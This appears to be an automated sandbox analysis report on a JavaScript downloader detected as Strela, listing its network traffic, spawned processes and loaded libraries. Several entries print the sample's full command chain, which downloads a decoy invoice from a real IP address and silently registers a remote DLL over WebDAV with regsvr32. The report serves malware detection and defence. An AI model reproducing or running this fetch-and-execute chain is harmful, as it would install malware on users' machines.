HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1683121952.0000018C7013D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1740508339.000002304A93D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1743287421.000002304A8E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1743350644.000002304A923000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1743350644.000002304A910000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1742968462.000002304A923000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1742968462.000002304A910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1743350644.000002304A923000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1742968462.000002304A923000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888//v
Source: net.exe, 00000006.00000002.1743287421.000002304A8E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000008.00000002.2966614420.000002807CC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1743360421.000002807CA78000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1743360421.000002807CA78000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1743360421.000002807CA78000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1743360421.000002807CAAD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1743360421.000002807CB22000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1743360421.000002807CB22000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1743360421.000002807CB22000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7568, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1434827995831320526.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7628:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yis55wqr.jmj.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1660,i,5919774023336867443,16816310198096790642,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1660,i,5919774023336867443,16816310198096790642,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
